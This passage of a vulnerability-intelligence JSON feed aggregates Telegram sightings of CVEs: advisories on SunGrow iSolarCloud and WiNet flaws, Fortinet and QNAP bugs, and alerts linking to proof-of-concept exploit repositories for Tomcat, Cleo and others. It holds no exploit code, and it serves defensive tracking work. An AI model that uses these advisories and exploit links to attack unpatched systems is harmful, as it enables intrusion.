p.m. | 1\u00a0hour, 16\u00a0minutes ago \nDescription : In SunGrow WiNet-SV200.001.00.P027 and earlier versions, when copying the timestamp read from an MQTT message, the underlying code does not check the bounds of the buffer that is used to store the message. This may lead to a stack-based buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-25T02:07:06.000000Z"}, {"uuid": "34747f6a-4f5d-488c-9ac3-172f671339fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5057", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9184", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1apoc-CVE-2024-5057\nURL\uff1ahttps://github.com/g1thubb004/poc-CVE-2024-5057\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-11-25T23:13:49.000000Z"}, {"uuid": "7527c9b6-374e-43e8-925a-7022c2f45f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50685", "type": "seen", "source": "https://t.me/cvedetector/18973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50685 - SunGrow iSolarCloud IDOR Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50685 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud before the October 31, 2024 remediation, is vulnerable to insecure direct object references (IDOR) via the powerStationService API model. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:36.000000Z"}, {"uuid": "23b42306-e968-4fe6-be80-ab26a96cf7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50684", "type": "seen", "source": "https://t.me/cvedetector/18972", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50684 - SunGrow iSolarCloud Android App Insecure AES Key Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50684 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud Android app V2.1.6.20241017 and prior uses an insecure AES key to encrypt client data (insufficient entropy). This may allow attackers to decrypt intercepted communications between the mobile app and iSolarCloud. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:36.000000Z"}, {"uuid": "f4792670-d12c-4c6c-899f-0c0ea77e9701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9567", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1atomcat CVE-2024-50379 \u6761\u4ef6\u7ade\u4e89\u6587\u4ef6\u4e0a\u4f20exp\nURL\uff1ahttps://github.com/SleepingBag945/CVE-2024-50379\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-23T07:26:21.000000Z"}, {"uuid": "591bad1d-bdbd-4718-9542-a8bced5478e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9595", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-50379-exp\nURL\uff1ahttps://github.com/lizhianyuguangming/CVE-2024-50379-exp\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-25T02:46:52.000000Z"}, {"uuid": "b04a9415-decf-4c10-a2e0-5b14a3910ef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9572", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-50379\u5229\u7528\nURL\uff1ahttps://github.com/dear-cell/CVE-2024-50379\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-23T14:14:32.000000Z"}, {"uuid": "9db48cb3-0962-47a1-b349-612809e85165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50686", "type": "seen", "source": "https://t.me/cvedetector/18965", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50686 - SunGrow iSolarCloud IDOR\", \n  \"Content\": \"CVE ID : CVE-2024-50686 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the commonService API model. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:28.000000Z"}, {"uuid": "d963a265-3b70-48f1-b9b5-6b07b151f94b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50696", "type": "seen", "source": "https://t.me/cvedetector/18971", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50696 - SunGrow WiNet-S Firmware Update Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50696 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow WiNet-S V200.001.00.P025 and earlier versions is missing integrity checks for firmware upgrades. Sending a specific MQTT message allows an update to an inverter or a WiNet connectivity dongle with a bogus firmware file that is located on attacker-controlled server. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:35.000000Z"}, {"uuid": "902be4cc-e5b6-4c68-82ff-d9a90f8203fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50693", "type": "seen", "source": "https://t.me/cvedetector/18970", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50693 - SunGrow iSolarCloud IDOR\", \n  \"Content\": \"CVE ID : CVE-2024-50693 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the userService API model. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:34.000000Z"}, {"uuid": "0c0f25d6-cfb8-4b90-9d84-bee16e923c15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50691", "type": "seen", "source": "https://t.me/cvedetector/18969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50691 - SunGrow iSolarCloud Man-in-the-Middle Attack\", \n  \"Content\": \"CVE ID : CVE-2024-50691 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud Android app V2.1.6.20241104 and prior suffers from Missing SSL Certificate Validation. The app explicitly ignores certificate errors and is vulnerable to MiTM attacks. Attackers can impersonate the iSolarCloud server and communicate with the Android app. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:31.000000Z"}, {"uuid": "72caf019-fea7-441f-8945-66064253ae77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50689", "type": "seen", "source": "https://t.me/cvedetector/18968", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50689 - SunGrow iSolarCloud IDOR Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50689 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the orgService API model. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:30.000000Z"}, {"uuid": "253ad157-279a-4e4c-b910-e3181187ef1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50688", "type": "seen", "source": "https://t.me/cvedetector/18967", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50688 - SunGrow iSolarCloud Hardcoded Credentials Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50688 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud Android application V2.1.6.20241017 and prior contains hardcoded credentials. The application (regardless of the user account) and the cloud uses the same MQTT credentials for exchanging the device telemetry. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:29.000000Z"}, {"uuid": "fe928f01-757f-414b-8f43-c7a5a5782022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50687", "type": "seen", "source": "https://t.me/cvedetector/18966", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50687 - SunGrow iSolarCloud IDOR\", \n  \"Content\": \"CVE ID : CVE-2024-50687 \nPublished : Feb. 26, 2025, 9:15 p.m. | 1\u00a0hour, 33\u00a0minutes ago \nDescription : SunGrow iSolarCloud before the October 31, 2024 remediation is vulnerable to insecure direct object references (IDOR) via the devService API model. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-27T00:19:28.000000Z"}, {"uuid": "8174cfd9-1bb7-48d8-9476-8f1f4685fbbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "seen", "source": "https://t.me/hackingbra/215", "content": "tomcat CVE-2024-50379/CVE-2024-56337\n*\n\u041f\u0440\u043e\u043a\u0430\u0447\u0430\u043d\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f", "creation_timestamp": "2024-12-26T02:57:28.000000Z"}, {"uuid": "51e0d23b-7b8d-4882-9100-78d46bab133e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50603", "type": "published-proof-of-concept", "source": "https://t.me/hackingbra/236", "content": "CVE-2024-50603-nuclei-poc \n*\nCritical Command Injection Vulnerability in Aviatrix Controller\n*\nPOC", "creation_timestamp": "2025-01-10T12:17:01.000000Z"}, {"uuid": "e11d7325-8d20-4408-945d-28f4d3f550ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50569", "type": "seen", "source": "https://t.me/cvedetector/17724", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50569 - Fortinet FortiWeb OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50569 \nPublished : Feb. 11, 2025, 5:15 p.m. | 58\u00a0minutes ago \nDescription : A improper neutralization of special elements used in an os command ('os command injection') in Fortinet FortiWeb 7.0.0 through 7.6.0 allows attacker to execute unauthorized code or commands via crafted input. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T19:52:55.000000Z"}, {"uuid": "9a01b74d-2061-4adb-ab30-ea1efb8f992e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50665", "type": "seen", "source": "Telegram/a9cYht8892wK3OfkQF6NkgUkviqEnDI2wcx6cUOLP_fF52Wg", "content": "", "creation_timestamp": "2025-02-14T10:04:01.000000Z"}, {"uuid": "433d2e86-e7ef-42a2-ade8-dd03442b9467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50379", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9605", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aTesting the latset Apache Tomcat CVE-2024-50379 Vuln\nURL\uff1ahttps://github.com/bigb0x/CVE-2024-50379\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-25T21:51:35.000000Z"}, {"uuid": "e2e16d58-112b-4841-a54c-3806889ad0a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50807", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1405", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50807\n\ud83d\udd39 Description: Trippo Responsive Filemanager 9.14.0 is vulnerable to Cross Site Scripting (XSS) via file upload using the svg and pdf extensions.\n\ud83d\udccf Published: 2025-01-10T00:00:00\n\ud83d\udccf Modified: 2025-01-13T20:31:16.662Z\n\ud83d\udd17 References:\n1. https://gist.github.com/HackShiv/4254db89214913867aa8dd5c1ec09b7e", "creation_timestamp": "2025-01-13T21:12:36.000000Z"}, {"uuid": "2b573cb6-d324-48cd-a505-6e475a905ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9662", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCleo \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u6279\u91cf\u68c0\u6d4b\u811a\u672c\uff08CVE-2024-50623\uff09\nURL\uff1ahttps://github.com/iSee857/Cleo-CVE-2024-50623-PoC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-31T07:45:47.000000Z"}, {"uuid": "2297d356-83d0-4f20-8c32-8c928fe8b4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50396", "type": "seen", "source": "https://t.me/itsec_news/4826", "content": "\u200b\u26a1\ufe0f9.5 \u0431\u0430\u043b\u043b\u043e\u0432 \u0443\u0433\u0440\u043e\u0437\u044b: \u0447\u0435\u043c \u0440\u0438\u0441\u043a\u0443\u044e\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u044b \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0430 QNAP\n\n\ud83d\udcac \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f QNAP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u0440\u044f\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0435\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 Notes Station 3, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 NAS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-38643 \u0441 \u0440\u0435\u0439\u0442\u0438\u043d\u0433\u043e\u043c 9.3 \u043f\u043e CVSS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0414\u0440\u0443\u0433\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2024-38645 (CVSS: 9.4) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 (SSRF), \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 3.9.7.\n\n\u0412 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 QuRouter \u0432\u0435\u0440\u0441\u0438\u0438 2.4.x \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-48860 (CVSS 9.5), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.4.3.106, \u0433\u0434\u0435 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 CVE-2024-48861 (CVSS: 7.3).\n\n\u0422\u0430\u043a\u0436\u0435 \u0432 Notes Station 3 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-38644 (CVSS: 8.7) \u0438 CVE-2024-38646 (CVSS: 8.4) \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0434\u0430\u043d\u043d\u044b\u043c. \u0418\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041e\u0446\u0435\u043d\u043a\u0430 \u0443\u0433\u0440\u043e\u0437 \u043f\u043e CVSS \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 8.7 \u0438 8.4.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b QNAP AI Core, QuLog Center, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b QTS \u0438 QuTS Hero. \u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 \u0432\u044b\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f:\n\nCVE-2024-38647 (CVSS: 7.9): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 QNAP AI Core, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 3.4.1.\nCVE-2024-48862 (CVSS: 8.7) \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 QuLog Center \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 1.7.0.831 \u0438 1.8.0.888.\nCVE-2024-50396 (CVSS: 7.7) \u0438 CVE-2024-50397 (CVSS: 7.7) \u043e\u0448\u0438\u0431\u043a\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a \u0432 QTS \u0438 QuTS Hero, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 5.2.1.2930 \u0438 h5.2.1.2929.\n\nQNAP \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043a \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c VPN \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-11-26T17:52:20.000000Z"}, {"uuid": "2e275a9d-4063-4baa-8a91-b50372ddf46d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50659", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/515", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-50659\n\ud83d\udd39 Description: Cross Site Scripting vulnerability iPublish Media Solutions AdPortal 3.0.39 allows a remote attacker to escalate privileges via the shippingAsBilling parameter in updateuserinfo.html.\n\ud83d\udccf Published: 2025-01-07T00:00:00\n\ud83d\udccf Modified: 2025-01-07T18:10:00.715872\n\ud83d\udd17 References:\n1. http://adportal.com\n2. http://ipublish.com\n3. https://petercipolone.info/wp-content/uploads/2025/01/iPublishMedia_AdPortal3.0.39_CVEs.pdf", "creation_timestamp": 